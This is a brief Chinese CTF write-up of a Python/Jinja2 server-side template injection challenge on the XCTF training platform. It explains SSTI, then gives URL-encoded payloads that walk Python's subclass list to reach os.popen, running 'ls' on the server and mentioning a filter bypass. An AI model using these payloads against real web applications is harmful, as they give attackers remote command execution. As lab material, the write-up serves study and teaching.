攻防世界Web_python_template_injection
打开题目:
题目提示为Python模块注入:
1首先判断一下:
网址输入“{{7+7}}”页面显示14,说面存在“SSTI” :
SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
2j接下来:“%7B%7B[].__class__.__base__.__subclasses__()%7D%7D
”,来查看所有模块
3,os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个
"%7B%7B[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()%7D%7D
"
查看catch_warnings模块都存在哪些全局函数,可以找到linecache函数,os模块就在其中
4,然后使用['o'+'s']
,可绕过对os字符的过滤,
“%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D
”
访问:“flag”文件;